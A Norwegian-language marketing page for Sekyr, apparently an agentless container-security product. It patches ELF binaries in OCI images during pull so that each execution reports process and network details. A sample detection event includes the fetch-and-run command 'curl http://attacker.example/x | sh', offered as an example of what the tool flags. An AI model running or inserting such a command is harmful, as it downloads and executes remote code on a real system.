/product·early access

Deteksjon som følger imaget, ikke hosten.

Sekyr er en OCI pull-through-proxy. Du pusher images til ditt eget register som før, og orkestratoren puller dem gjennom Sekyr. På veien gjennom legger vi ett eller flere ekstra lag oppå de eksisterende lagene i imaget. De nye lagene inneholder patchede kopier av hver ELF-binær vi fant, pluss en liten reporter. Originalene leveres uendret. Når en patchet binær kjøres, er selve kjøringen hendelsen. Vi noterer hvem som kjører (binærsti, argv, foreldreprosesskjede, ikke-sensitive miljøvariabler) og hvilke nettverkstilkoblinger prosessen har åpne, og sender det tilbake til Sekyr. Ingenting annet kjører på serverne dine.

Flate: OCI Distribution Spec, kun pull
Fotavtrykk: Ekstra lag — størrelsen avhenger av hvor mange binærer som patches
Mekanisme: Patching av binærer ved pull
Runtime: Agentløs, kjører bare når en patchet binær kjøres

Arkitektur

Hvor Sekyr sitter.

En pull-through-proxy som ligger mellom orkestratoren din og registeret bak. Du pusher images til ditt eget register som før; orkestratoren puller dem gjennom oss. Ved første pull analyserer vi imaget, patcher hver ELF-binær vi finner, og leverer resultatet tilbake med ett ekstra lag oppå originalen. Senere pulls treffer cachen og går gjennom uendret.

PullDet opprinnelige imaget pluss noen ekstra lag

EventstrømFra reporter-sideprosessen, når en patchet binær kjører

Sekyr-flatenPull-through-cache pluss control plane

Livssyklusen ved pull

Hva som skjer ved docker pull.

Sett fra klienten ser det ut som en helt vanlig OCI-pull. Push av images går fortsatt til ditt eget register, ikke til oss. Inne i cachen kjøres fire steg ved første pull før manifestet returneres. Senere pulls av samme digest er et cachetreff. Det ekstra laget signerer vi med vår egen nøkkel, slik at det endrede imaget kan verifiseres mot den. Signaturen fra det opprinnelige imaget videreføres ikke. Vi sjekker ikke proveniens mot noen allowlist, og vi endrer ikke originale lag.

01
Skann
Gå gjennom imaget. Finn hver ELF-binær inni: shells, binærer fra pakker under /usr/bin, busybox-applets, runtimes for ulike språk, alt som kan kjøres.
02
Patch
Legg en liten observasjonsrutine inn i hver ELF-binær i imaget. Rutinen ligger i dvale til binæren blir kjørt. Når det skjer, våkner rutinen sammen med binæren og starter en liten sideprosess som sender ett event og avslutter.
03
Overlay
Pakk de patchede kopiene og reporteren inn i ett ekstra lag oppå imaget. De opprinnelige lagene er byte for byte uendret. Entrypointen skrives ikke om. Vi signerer det ferdige imaget med vår egen nøkkel, slik at det kan verifiseres mot oss. Signaturen fra det opprinnelige imaget blir erstattet, ikke beholdt.
04
Lever
Vi leverer det opprinnelige imaget pluss det ene ekstra laget vi har lagt på. Samme OCI-protokoll, samme digestverifikasjon. Senere pulls treffer cachen og får det samme imaget.

Livssyklusen i runtime

Hva som kjører i runtime. Nesten ingenting.

Sekyr er agentløs. Det er ingen daemon på hosten, ingen PID 1-supervisor i containeren, ingenting som fanger opp syscalls. De patchede binærene kjører som seg selv. Det er kjøringen av en av disse binærene som ER hendelsen vi bryr oss om. Det er den som vekker observasjonskoden og forker av en liten reporter-sideprosess som sender ett event og avslutter. En workload som ligger inaktiv lenge, koster ingenting.

ExecContaineren starter den opprinnelige entrypointen, urørt. Selve entrypointen er ikke patchet; den kjører akkurat som før. Derfra kjører den binærene inne i imaget, og det er der hookene ligger.

TreffNår en patchet binær blir kjørt, kjører observasjonskoden vår sammen med den. Selve kjøringen er hendelsen; det er ingenting å lete etter.

ForkObservasjonskoden fork()-er en liten reporter. Forelderbinæren fortsetter å kjøre uten merkbar forsinkelse. Reporteren er en egen prosess, ikke en tråd og ikke en tracer.

RapporterReporteren tar et snapshot av kjøringen: binærsti, argv, argv[0], foreldre-PID-kjede tilbake til PID 1, ikke-sensitive miljøvariabler, og nettverkstilkoblingene prosessen har åpne akkurat nå. Den pakker alt i ett event og sender det tilbake til analysemotoren vår. Det går til oss, ikke til din observability-stack.

ExitReporteren avslutter. Ingen vedvarende prosess. Ingen overvåkede file descriptors. Ingenting igjen som kjører før neste patchede binær starter.

IdleEn workload som bare ligger der og ikke kjører noen patchede binærer, sender ingenting. En langvarig tjeneste som startet én gang og nå venter på I/O, er usynlig for Sekyr.

Dekning

Hva vi lytter etter.

Ingen profiler, ingen allowlists, ingen læringsvinduer. Hver patchede binær har samme observasjonskode, og hver kjøring av en slik binær gir et event med samme form. Det vi registrerer, er beskrevet under.

Hvem som kjører

For hver kjøring tar vi vare på binærstien, argv, argv[0], og hele foreldre-PID-kjeden tilbake til PID 1. Command injection dukker opp her: en webserver som plutselig kjører /bin/sh -c, en cron som starter curl, eller en database som forker en shell.

binary pathargvargv[0]parent chain

Nettverkstilkoblinger

For samme kjøring noterer vi hvilke nettverkstilkoblinger prosessen har åpne. Det fanger workloads som tar kontakt med adresser de ikke skal ha noe med å gjøre: mål for exfiltrering, C2-endepunkter, eller interne tjenester de aldri burde røre.

active socketsdestination ip:portprotocol

Prosesskontekst

Foreldre-PID-kjeden og ikke-sensitive miljøvariabler følger med hvert event. Du kan rekonstruere hvem som startet hva, selv når kjeden går gjennom flere kortlivede prosesser.

ppid chainenv (filtered)cwd

Hva vi bevisst hopper over.Vi sporer ikke hver eneste syscall. read() / write() / mmap() i steady state er ikke interessante, og å spore dem er en sikker måte å brenne CPU på. Vi ser på selve kjøringen av binærer inni imaget ditt. Det er den faktiske handlingen en angriper må gjøre for å bevege seg gjennom et system eller kjøre en kommando. Det er ikke en strøm av alle syscalls.

Observability

Ett event per hooktreff.

Hvert event har samme form: hva som skjedde, hvor det ble kalt fra, hvem forelderen var. Control plane er en søke- og varslingsflate over disse eventene.

{
  "ts": "2026-04-26T14:22:08.412Z",
  "workload": "api-7f9c8d6b4-x2k7l",
  "image": "sekyr.com/ghcr/acme/api@sha256:f9c8d6b4...",
  "event": "process.exec",
  "exec": {
    "path": "/bin/sh",
    "argv": ["sh", "-c", "curl http://attacker.example/x | sh"],
    "cwd": "/app"
  },
  "parents": [
    { "pid": 412, "comm": "sh",     "exe": "/bin/sh" },
    { "pid": 411, "comm": "node",   "exe": "/usr/local/bin/node" },
    { "pid": 1,   "comm": "node",   "exe": "/usr/local/bin/node" }
  ],
  "env_safe": { "NODE_ENV": "production", "PORT": "8080" },
  "site": { "binary": "/usr/local/bin/node", "offset": "0x4f12" }
}

Hvor eventene går

Reporterne sender events til analysemotoren vår. Vi filtrerer hardt allerede ved ingest og fjerner duplikater av events vi allerede har sett for samme image og call site. Bare nye, ekte signaler slipper videre inn i analysepipelinen. Vi kjører den atferdsbaserte deteksjonen oppå dette, så du slipper å sende den rå strømmen inn i din egen SIEM, og du slipper å skrive deteksjonsregler for hånd. Funn dukker opp i control plane, via webhooks, eller i den varslingskanalen du selv velger.

Ytelse

Hva dette koster deg. Som oftest nesten ingenting.

Den ærlige versjonen: vi har ikke harde tall å publisere ennå, men formen på kostnaden er bestemt av hvordan vi er bygget, ikke av tuning. Slik ligger den an mot alternativene.

Inaktive workloads koster ingenting.Ingen agent, ingen daemon, ingenting som fanger opp syscalls. Hvis ingen patchet binær blir kjørt, blir det ingen events og ingenting å gjøre. Langvarige tjenester som startet én gang og venter på I/O, er usynlige for Sekyr.

Du betaler per imagekonvertering, ikke per pull.Det å patche et image koster CPU én gang, første gang en ny tag går gjennom Sekyr. Senere pulls av den digesten treffer cachen og er gratis. Regningen din vokser med hvor mange ulike images du shipper, ikke med hvor mange pods du kjører dem i.

Vesentlig lavere overhead enn agent + eBPF-oppsett.Tradisjonelle containermonitorer kjører en privilegert daemon på hver host, fester eBPF-programmer på hver node, og prosesserer hver syscall i hver container, uansett om det betyr noe eller ikke. Den kostnaden er konstant og vokser med flåten din. Sekyr bruker CPU bare når en patchet binær faktisk blir kjørt, og på analysesiden filtrerer og fjerner vi duplikater hardt før noe når de delene som faktisk koster.

Kostnaden ved pull er en engangsgreie.Skanning og patching av imaget skjer én gang, på serversiden, i cachen. Etterpå er det en helt vanlig cachet pull. Du tar kostnaden ved første pull av en ny tag, aldri når en container starter.

Ingen tilstand i host-kjernen.Ingen kjernemoduler. Ingen eBPF-programmer lastet inn i kjernen din. Ingen privilegerte daemonsets. Vi kan ikke lekke minne på et sted du ikke kan starte på nytt, fordi vi ikke er på hosten din.

Kompatibilitet

Hva vi fungerer med.

Sekyr fungerer med alle registre som følger OCI Distribution Spec, og alle runtimes som følger OCI Runtime Spec. Listene under er vanlige eksempler — ikke en komplett liste. Vi har ikke testet alle selv.

Registre

Docker Hub
GitHub Container Registry
AWS ECR
Google Artifact Registry
GitLab Container Registry
Harbor
Quay.io
Self-hosted (hvilken som helst OCI-dist)

Orkestratorer

Kubernetes 1.24+
Amazon ECS
Nomad 1.6+
Docker / Compose
OpenShift 4.x

Plattformer

linux/amd64
linux/arm64
Distroless base images
Alpine / musl

Trusselmodell

Deteksjon, ikke håndheving.

Sekyr handler bare om å oppdage. Vi blokkerer ikke, dreper ikke, og griper ikke inn i workloaden din — vi bare rapporterer. Lista under er det vi faktisk fanger ved å se på hva binærene gjør, og det vi bevisst lar være.

Hva vi fanger

Command injection, der en prosess starter en shell med argv som angriperen kontrollerer
Lateral movement, der workloads plutselig tar kontakt med interne tjenester de aldri har rørt før
Mistenkelige kjeder av exec, som webserver → sh → curl → sh, eller andre uvante foreldre
Uventede utgående nettverkskall til mål for exfiltrering eller C2-callbacks
Living-off-the-land, der binærer fra busybox eller coreutils blir brukt i et image som vanligvis ikke trenger dem
Crypto-miner som droppes og kjøres, der kortlivede mønstre i exec røper levering av payload

Hva vi ikke gjør

Vi blokkerer ikke, dreper ikke, og signalerer ikke prosesser. Bare deteksjon.
Vi fanger ikke angrep som aldri kjører en binær eller åpner en socket, så ren in-process minnekorrupsjon er usynlig for oss
Vi ser ikke statisk lenkede binærer som cachen ikke klarte å kjenne igjen (sjelden, men det skjer)
Vi beskytter ikke mot exploits på kjernenivå eller rootkits — det er hostens jobb
Vi stopper ikke supply chain-angrep i byggefasen, før imaget når registeret
Vi forsvarer ikke mot ondsinnede insidere som har både cluster-admin og rettigheter inn i event-pipelinen

Sammenligning

Sekyr vs eBPF / agent-baserte containermonitorer.

Falco-lignende stacks setter en privilegert agent på hver host og overvåker kjernen. Vi legger hookene inni selve imaget, bruker CPU bare når noe interessant faktisk skjer, og lar analysesiden filtrere og fjerne duplikater før noe annet. Det er et annet sted å stå, og en annen form på kostnaden.

Vår tilnærming

Sekyr

Deteksjon inne i imaget

Falco-lignende stacks

eBPF + agent monitors

En daemon på hver host, i kjernen

Hvor det kjørerHvor i stacken det holder til

Inne i imaget ditt, som patchede binærer + en kortlivet reporter

På hver host, som en privilegert daemon + eBPF-programmer i kjernen

Når det kjørerNår CPU-tid faktisk brukes

Kun når en patchet binær kjøres inne i en workload

Kontinuerlig, på hver syscall i hver container, uansett om det er interessant eller ikke

Kostnad ved inaktiv workloadEn stille container som ikke gjør noe eksotisk

I praksis null, uten daemon og uten agent

Konstant baseline-overhead fra daemonen og probene

DekningHva du må installere per node

Pull imaget. Ferdig.

Daemonset + privilegert agent på hver node, holdt oppdatert

Fotavtrykk i kjernenHva som lander i host-kjernen

Ingen. Bare patcher i userspace inne i imaget ditt.

eBPF-programmer festet til hooks i kjernen; følsomt for kjerneversjonen

DeteksjonsflateHvor hookene bor

Hver ELF-binær inni imaget: shells, busybox-applets, /usr/bin/*, språk-runtimes (selve entrypointen blir i fred)

Host-kjernen, som ser alt, inkludert ting du ikke bryr deg om

FeilmodusHva som skjer når det knekker

Workloaden kjører som originalen; events slutter å flyte

Daemonen krasjer, probene detacher; deteksjonen forringes stille på den noden

Hva det sender hjemHva slags data som sendes

Ett event per kjøring: hvem som kjørte, foreldrekjede, aktive nettverkstilkoblinger. Ikke en flom av syscalls.

En konfigurerbar, men vanligvis stor strøm av syscall-events som må filtreres nedstrøms

eBPF står for Extended Berkeley Packet Filter. Det er en måte å feste små programmer til hooks i kjernen. Kraftig og brukt overalt — men det gir også konstant overhead og er følsomt for kjerneversjonen.Agent er en prosess som kjører kontinuerlig på hver host, vanligvis med utvidede rettigheter. Den må installeres, holdes oppdatert og stoles på.

Prøv det

Les dokumentasjonen. Pull et image. Se hva det gjør.

Start en gratis prøveperiode. Ingen agent å installere, og ingen endringer i orkestratoren utover et URL-prefiks.

Les dokumentasjonen Snakk med utviklerne